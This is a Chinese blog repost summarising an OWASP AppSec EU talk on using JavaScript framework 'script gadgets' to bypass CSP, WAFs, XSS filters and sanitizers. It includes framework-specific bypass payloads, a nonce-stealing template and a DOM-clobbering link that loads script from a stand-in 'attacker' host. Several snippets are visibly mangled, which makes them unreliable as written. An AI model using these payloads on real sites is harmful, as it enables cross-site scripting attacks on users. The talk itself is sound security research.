通过脚本片段绕过XSS防御

Posted 计算机与网络安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了通过脚本片段绕过XSS防御相关的知识,希望对你有一定的参考价值。

信息安全公益宣传,信息安全知识启蒙。



从恶作剧弹框到盲打后台乃至沦陷一个企业,XSS的危害可大可小,近年来,XSS攻击与防御的博弈持续不断,下面是今年5月份北爱尔兰首府举行的OWASP AppSec EU的安全议题:通过脚本片段绕过XSS防御。


一、XSS 防御措施


尽管业界付出了很多努力,XSS依然是一个广泛且未解决的问题。有数据指出:谷歌VRP中70%的漏洞是XSS漏洞。


XSS防御技术的通用假设为:XSS将会永远存在,我们应把重点放在XSS防御上。


防御措施主要是阻止以下类型的XSS攻击:


具体可分为:


1、WAF, XSS filters


阻断包含危险标签和属性的请求。

2、html净化


从HTML中移除危险的标签和属性。


3、内容安全策略CSP


区分合法的和非法注入的JS代码




二、使用JS框架


防御手段认为封锁危险的标签和属性可以阻止XSS攻击,那么当前流行的JS框架来构建一个应用程序时,这种手段是否还可行?

首先提及选择器,javascript通过选择器与DOM进行交互:

<myTagid="someId" class="class1”data-foo="bar"> </myTag>

<script>

tags =querySelectorAll("myTag"); // by tag name

tags = querySelectorAll("#someId");// by id

tags =querySelectorAll(".class1"); // by class name

tags =querySelectorAll("[data-foo]"); // by attribute name

tags =querySelectorAll("[data-foo^=bar]"); // by attribute value

</script>

 

在JS框架中,选择器是所有JavaScript框架和库的基本元素。例如:

jQuery因它的$函数而闻名:

$(' <jqueryselector>').append('some text to append');

Bootstrap框架为其API使用data-attributes:

<div data-toggle=tooltip title='I am atooltip!'>some text </div>

具体来看选择器的一些案例

<div data-role="button"data-text="I am a button"> </div>

<script>

var buttons =$("[data-role=button]");

buttons.attr("style","...");

// [...]

buttons.html(button.getAttribute("data-text"));

</script>

以上的代码是否存在安全问题?

尝试XSS攻击

XSS BEGINS HERE

<div data-role="button"data-text=" <script> </script>"> </div>

XSS ENDS HERE

<div data-role="button"data-text="I am a button"> </div>

<script>

var buttons =$("[data-role=button]");

buttons.attr("style","...");

// [...]

buttons.html(button.getAttribute("data-text"));

</script>

即使使用了良好的标记/属性,也不能信任DOM。合法的代码把它们变成了JS,绕过了防御手段。

三、脚本片段

一个脚本片段是指一段可以触发HTML注入的合法JavaScript代码。

1. 背景调查

我们调查了16种现在流行的JavaScript框架和函数库:MVC框架,模板系统,UI组件库,工具集;基于受欢迎程度列表、StackOverflow问题和实际使用统计的策略选择。以下为我们调查的框架:

Angular (1.x), Polymer (1.x), React, jQuery,jQuery UI, jQuery Mobile, Vue, Aurelia,Underscore / Backbone, Knockout, Ember,Closure Library, Ractive.js, Dojo Toolkit,RequireJS, Bootstrap

A. 我们用每种相同的框架构建简单的应用;

B. 我们在框架中添加XSS缺陷;

C. 我们设置了各种XSS防御手段:

a) CSP - 基于白名单,基于nonce的,不安全的eval,严格的动态;

b) XSS filters - Chrome XSSAuditor,Edge,NoScript

c) HTML净化 - DOMPurify,Closure HTML sanitizer

d) WAFs - ModSecurity w/CRS

D.  我们手工分析这些框架的代码, 然后开始使用脚本片段撰写绕过方式。

2、优先看看结果

我们绕过了每一个测试案例的防御。 我们有pocs!绕过16种流行库的防御XSS的姿势集合:

Content  Security Policy

WAF

白名单                 

随机数                 

不安全的eval

受限的动态脚本               

ModSecurity  CRS

3  /16

4  /16

10  /16

13  /16

9 /16

XSS 过滤器                

净化器                 

Chrome

Edge

NoScript

DOMPurify

Closure

13  /16

9  /16

9  /16

9  /16

6  /16

3、脚本片段举例

querySelector(),getElementById(), …

innerHTML =foo, …

createElement(‘script’), createElement(foo)

obj[foo] =bar, foo = foo[bar]

function(),callback.apply(), ...

这样的代码片段在JS框架/库中似乎是良性且常见的。

四、更多花样

更有趣的是,我们可以串联多个脚本片段以触发任意JS代码执行。

例如Knockout

<div data-bind="value:'hello world'"></div>

浏览器不会将其解释为JavaScript。Knockout使用以下语句与之交互:

switch (node.nodeType) {

        case 1: return node.getAttribute(“data-bind”);

var rewrittenBindings =ko.expressionRewriting.preProcessBindings(bindingsString, options),

        functionBody = "with($context){with($data||{}){return{" +rewrittenBindings + "}}}";

return new Function("$context","$element", functionBody);

return bindingFunction(bindingContext,node);

 Knockout创建一个属性值--->函数调用链:

<div data-bind="foo: "> </div>

有效载荷包含在数据属性值中,在DOMPurify、 XSS filters、ModSecurity CRS中均能绕过。

<div data-bind="html:'hello <b>world </b>'"> </div>

Knockout代码处理DOM中的数据:

ko.bindingHandlers['html'] = {

'update': function (element, valueAccessor){

                   ko.utils.setHtml(element, valueAccessor());}};

ko.utils.setHtml = function(node, html) {

if (jQueryInstance)

jQueryInstance(node)['html'](node);};

function DOM { // JQuery 3

var script = doc.createElement("script" );

script.text = code;

doc.head.appendChild( script).parentNode.removeChild( script );

属性值 => createElement(‘script’) 链

严格的动态CSP将信任传递给编程创建的脚本,绕过严格的CSP:

<div data-bind="html:' <script > </script>'">  </div>

使用Bootstrap绕过严格的CSP策略:

<div data-toggle=tooltip data-html=true title='<script> </script>'> </div>

使用jQuery Mobile绕过净化器:

<div data-role=popup id='--> <script> </script>'></div>

使用Closure (DOM clobbering)绕过NoScript:

<a id=CLOSURE_BASE_PATHhref=http://attacker/xss> </a>

使用Dojo工具包绕过ModSecurityCRS:

<div data-dojo-type="dijit/Declaration"data-dojo-props="}--{">

使用下划线模板绕过CSPunsafe-eval:

<div type=underscore/template > <% %> </div>


五、表达式解析器中的脚本片段

一些常见框架:Aurelia, Angular, Polymer, Ractive, Vue

A. 上面的框架使用非基于eval的表达式解析器

B.  他们自行标记,解析和评估表达式

C.  表达式被“编译”到Javascript

D.  在评估(例如绑定解析)期间,此被解析的代码运行于:DOM 元素和属性、本地对象和数组等

用足够复杂的表达式语言,我们可以运行任意JS代码。.

例如绕过AngularJS沙箱

示例:Aurelia - 属性遍历小片段

<td>  ${customer.name}   </td>

if (this.optional('.')) {

        // ...

        result = new AccessMember(result, name);}

AccessMember.prototype.evaluate =function(...) { // ...

        return /* … *./ instance[this.name];

};

Aurelia – 函数调用小片段

<button foo.call="sayHello()">

Say Hello!

</button>

if (this.optional('(')) {

// ...

result = new CallMember(result, name,args);}

CallMember.prototype.evaluate =function(...) { // ...

        return func.apply(instance, args);

};

如何触发?

从节点到窗口、获取弹窗[“alert”]、用受控参数执行功能:

<div ref=mes.bind="$this.me.ownerdefaultView."> </div>

这种方法可绕过所有已测试过的防御措施,甚至是基于白名单和随机数的CSP。

再来几个示例:

1 使用Polymer 1.x绕过白名单/随机数CSP 

<template is=dom-bind> <div

        c={{}}

        b={{set('_rootDataHost',ownerdefaultView)}}>

</div> </template>

2 使用 AngularJS 1.6+绕过白名单/随机数CSP 

<div ng-app ng-cspng-focus="x=$event.view.window;x.">

通过这些小片段,我们可以创建更精细的连锁反应。

3  在Polymer 1.x  创建新的脚本元素

<template is=dom-bind> <div

        five={{insert(me._nodes.0.scriptprop)}}

        four="{{set('insert',me.root.ownerbody.appendChild)}}"

        three="{{set('me',nextSibling.previousSibling)}}"

        two={{set('_nodes.0.scriptprop.src','data:\,')}}

        scriptprop={{_factory()}}

        one={{set('_factoryArgs.0','script')}} >

</template>

4  使用Ractive窃取CSP随机数

<script id="template"type="text/ractive">

        <iframe srcdoc="

                  <script nonce={{@global.currentScript.nonce}}>

                  

                  </{{}}script>">

        </iframe>

</script>

六、结论

1、防御措施往往通过过滤特定的标签或者属性来封锁XSS攻击载荷

2、目前很多JS框架都没有对集成的脚本片段进行过滤

3、我们可以插入集成的脚本片段进行XSS攻击而非简单的小脚本块来绕过各种防御

4、我们可以通过触发HTML注入来引发XSS攻击从而绕过XSS防御。

5、更多测试的PoCs 详见 https://github.com/google/security-research-pocs


来源:顺丰安全应急响应中心

以上是关于通过脚本片段绕过XSS防御的主要内容,如果未能解决你的问题,请参考以下文章

利用XSS绕过CSRF令牌保护

XSS绕过filter高级技术 part1

奇淫巧技XSS绕过技巧

XSS编码与绕过

XSS绕过姿势

xss脚本绕过限制的方法